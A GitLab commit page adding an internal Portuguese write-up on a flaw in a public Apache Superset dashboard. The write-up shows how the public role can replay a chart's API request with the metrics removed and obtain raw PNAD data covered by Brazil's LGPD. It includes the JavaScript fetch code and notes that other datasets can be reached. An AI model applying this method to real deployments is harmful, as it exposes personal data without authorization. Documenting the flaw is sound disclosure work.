Skip to content
Snippets Groups Projects
Commit 31c06f59 authored by gabriellisboaconegero's avatar gabriellisboaconegero
Browse files

Adiciona arquivo falha de segurança

parent 9c654247
No related branches found
No related tags found
No related merge requests found
# Apresentação de uma falha de segurança de dados no superset
> :warning: O problema está relacionado com as tabelas antigas que não seguem a LGPD, ou seja, as tabelas desagregadas. Logo, tal problema não existe para os indicadores que utilizam fontes novas (agregadas), como por exemplo o indicador **Docentes por escola**.
## Apresentação do problema
É sabido que os dados do banco `pnad_novo` não devem ser acessados de forma bruta, sem nenhuma forma de agragação, pois seus dados ferem a LGPD.
Acreditando que não seria um problema foi criado um indicador no Apache Superset utilizando este banco, **Taxa de atendimento**. Para testar como seria o comportamento de
um usuário público visualizando o dashboard desse indicador foi criado um "usuário público", que tem acesso aos dashboards e charts sem precisar fazer login.
É mostrado que é possível esse usuário, utilizando ferramentas simples e documentação do Superset, extrair os dados brutos do dataset criado para o
indicador.
## Estrutura do dataset
O indicador é representado como um dataset dentro da ferramenta, ou seja cada indicador tem seu dataset. Esse dataset contém colunas transformadas do banco `pnad_novo`
para mapear os valores do banco para labels com sentido. Além disso o superset permite criar métricas, funções de agregação, associadas a um dataset. Essas métricas garantem que os dados apresentados nos gráficos criados pelo dataset `Taxa atendimento - pnad_novo - glc22` não ferem a LGPD.
O acordo é, todo o gráfico que for gerado utilizando `Taxa atendimento - pnad_novo - glc22` deve utilizar uma das métricas definidas para esse dataset, nesse exemplo a única métrica é[^1]:
```sql
round(sum(case when frequenta_escola = 1 THEN peso_domicilio_pessoas_com_cal ELSE 0 END)) / round(sum(peso_domicilio_pessoas_com_cal)) as peso_pessoas
```
## Roles e usuário público no Apache Superset
O superset possui uma role `Public` onde são definidas as permissões do usuário público, aquele que não precisa de login. A role contém apenas permissões de leituras essenciais para a visualização exclusiva do dashboard criado para o indicador criado. Entre elas estão algumas como:
- `Can read on Dashboard`
- `Can read on Chart`
- `Can read on Dataset`
- `Can read on Datasource`
- `datasource access on [ClickHouse teste].[Taxa atendimento - pnad_novo - glc22](id:27)`
Como podemos ver é necessário ter acesso a uma diversa gama de módulos do superset para poder visualizar o dashoard. Também é necessário que o usuário público tenha acesso ao dataset.
## Explorando o problema
Foi fácil perceber que o superset não restringe a chamadas de API vindas apenas de charts já criados, ou seja é possível analisar as requisições de API e executar uma query no dataset.
### 1. Entendendo como o chart faz a requisição
Para um chart obter os dados para manipular é feita uma requisição para o endpoint `http://{host}:8088/api/v1/chart/data`, a requisição deve der do formato especificado na documentação da API. As informações relevantes da requisição são
- `body`: Deve ser um objeto json
- `credentials`
- `hearders`
- `mode`
Dentro do objeto `body` o chart envia
- `queries`
- `form_data`
Onde `queries` armazena qual a query que deve ser feita pelo chart para
retornar os dados corretos para ele utilizar.
### 2. Extraindo informações da requisição de dados
Explorando as requisições feitas por um chart no debugger do browser é possível clonar a requisição utilizando o `fetch API` no console do browser.
Por exemplo, seja as informações necessárias para a requisição
```js
APIEndpoint = `http://${host}:8088/api/v1/chart/data`
body_json = {
"datasource": {
"id": 27,
"type": "table"
},
"force": true,
"queries": [
{
"filters": [],
"extras": {
"having": "",
"where": ""
},
"applied_time_extras": {},
"columns": [
"ANO",
"FAIXA_ETARIA"
],
"metrics": [
"peso_pessoas"
],
"orderby": [
[
"peso_pessoas",
true
]
],
"annotation_layers": [],
"row_limit": 1000,
"series_limit": 0,
"order_desc": false,
"url_params": {},
"custom_params": {},
"custom_form_data": {}
}
],
"form_data": {
"datasource": "27__table",
"viz_type": "pivot_table_v2",
"slice_id": 340,
"url_params": {},
"groupbyColumns": [
"ANO"
],
"groupbyRows": [
"FAIXA_ETARIA"
],
"temporal_columns_lookup": {},
"metrics": [
"peso_pessoas"
],
"metricsLayout": "COLUMNS",
"adhoc_filters": [],
"row_limit": 1000,
"order_desc": false,
"aggregateFunction": "Sum",
"valueFormat": ".2%",
"date_format": "smart_date",
"rowOrder": "key_a_to_z",
"colOrder": "key_a_to_z",
"conditional_formatting": [
{
"colorScheme": "#439066",
"column": "peso_pessoas",
"operator": "",
"targetValue": 0.9
},
{
"colorScheme": "#ACE1C4",
"column": "peso_pessoas",
"operator": "< x <",
"targetValueLeft": "0.49",
"targetValueRight": "0.9"
},
{
"colorScheme": "#FDE380",
"column": "peso_pessoas",
"operator": "< x <",
"targetValueLeft": "0",
"targetValueRight": "0.5"
}
],
"allow_render_html": true,
"dashboards": [
14
],
"extra_form_data": {},
"label_colors": {},
"shared_label_colors": {
"Mulher": "#1FA8C9",
"Homem": "#454E7C",
"peso_pessoas": "#1FA8C9",
"Ignorado": "#454E7C",
"11 a 14 anos": "#5AC189",
"6 a 10 anos": "#FF7F44",
"15 a 17 anos": "#666666",
"0 a 3 anos": "#E04355",
"18 a 24 anos": "#FCC700",
"Amarela": "#A868B7",
"4 a 5 anos": "#3CCCCB",
"Branca": "#A38F79",
"Parda": "#8FD3E4",
"Preta": "#A1A6BD",
"Indígena": "#ACE1C4"
},
"extra_filters": [],
"dashboardId": 14,
"force": true,
"result_format": "json",
"result_type": "full"
},
"result_format": "json",
"result_type": "full"
}
init = {
"body": JSON.stringify(body_json),
"credentials": "same-origin",
"headers": {
"Accept": "application/json",
"X-CSRFToken": "ImNkZmJjMzA5OTY3OGQ2YjRiOWVkNTU4NzNhZDlhOTM4ZWVkN2JhNGEi.ZvaoMQ.MF0QlHaJTi28ruQ89YC6JlcF50M",
"Content-Type": "application/json"
},
"method": "POST",
}
```
Todas as informações foram retiradas da requisição feita por algum chart no dashboard. Para achar qual foi a requisição basta analisar os logs na aba de redes do DevTools e ver qual deles faz requisição para `'http://{host}:8088/api/v1/chart/data'`.
### 3. Alterando a requisição
Agora com as informações necessárias vamos alterar a variável `body_json.queries[0]`, para alterar como vai ser a query realizada no backend.
Se retirar o campo `metrics`, deixar vazio o campo `orderby` e deixar o campo `body_json.form_data` como `null` obtendo
```js
body_json = {
"datasource": {
"id": 27,
"type": "table"
},
"force": true,
"queries": [
{
"filters": [],
"extras": {
"having": "",
"where": ""
},
"applied_time_extras": {},
"columns": [
"ANO",
"FAIXA_ETARIA"
],
"orderby": [],
"annotation_layers": [],
"row_limit": 1000,
"series_limit": 0,
"order_desc": false,
"url_params": {},
"custom_params": {},
"custom_form_data": {}
}
],
"form_data": null
"result_format": "json",
"result_type": "full"
}
```
Como essa nova configuração é possível realizar um query que envolve os dados brutos do dataset, sem nenhuma função de agregação.
#### Realizando a query com fetch API
Basta utilizar o `fetch API` no DevTools e pronto, os dados estão la
```js
// Execute no DevTools
APIEndpoint = `http://${host}:8088/api/v1/chart/data`
body_json = {
"datasource": {
"id": 27,
"type": "table"
},
"force": true,
"queries": [
{
"filters": [],
"extras": {
"having": "",
"where": ""
},
"applied_time_extras": {},
"columns": [
"ANO",
"FAIXA_ETARIA"
],
"orderby": [],
"annotation_layers": [],
"row_limit": 1000,
"series_limit": 0,
"order_desc": false,
"url_params": {},
"custom_params": {},
"custom_form_data": {}
}
],
"form_data": null,
"result_format": "json",
"result_type": "full"
}
init = {
"body": JSON.stringify(body_json),
"credentials": "same-origin",
"headers": {
"Accept": "application/json",
"X-CSRFToken": "ImNkZmJjMzA5OTY3OGQ2YjRiOWVkNTU4NzNhZDlhOTM4ZWVkN2JhNGEi.ZvaoMQ.MF0QlHaJTi28ruQ89YC6JlcF50M",
"Content-Type": "application/json"
},
"method": "POST",
}
async function getData(){
init.body = JSON.stringify(body_json);
let res = await fetch(APIEndpoint, init);
console.log(await res.json());
}
```
### 4. Notas
1. Colete os seus próprios dados para fazer esse teste, ou seja, pode ser que não funcione copiar e colar os exemplos. É necessário que sejam obtidos os dados da aba de Rede do DevTools par seguir com o experimento.
2. Leia a documentação da API do superset sobre o endpoint `/api/v1/chart/data` para descobrir mais sobre. No exemplo alteramos apenas `orderby` e `metrics`, entretanto é possível alterar `columns` e obter dados diferentes do dataset.
3. Mudando a variável `body_json.datasource.id` é possível obter dados sobre outros datasets que o usuário público tem acesso.
## Restrições para realizar a extração
Como dito anteriormente, para o usuário público ter acesso a um certo dashboard é necessário que ele tenha acesso aos datasets que aquele dashboard utiliza. Logo, não é possível utilizar o método apresentado em datasets que o usuário público tem acesso.
[^1]: Apresentação ilustrativa da métrica, não é realmente assim que define ela no dataset.
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment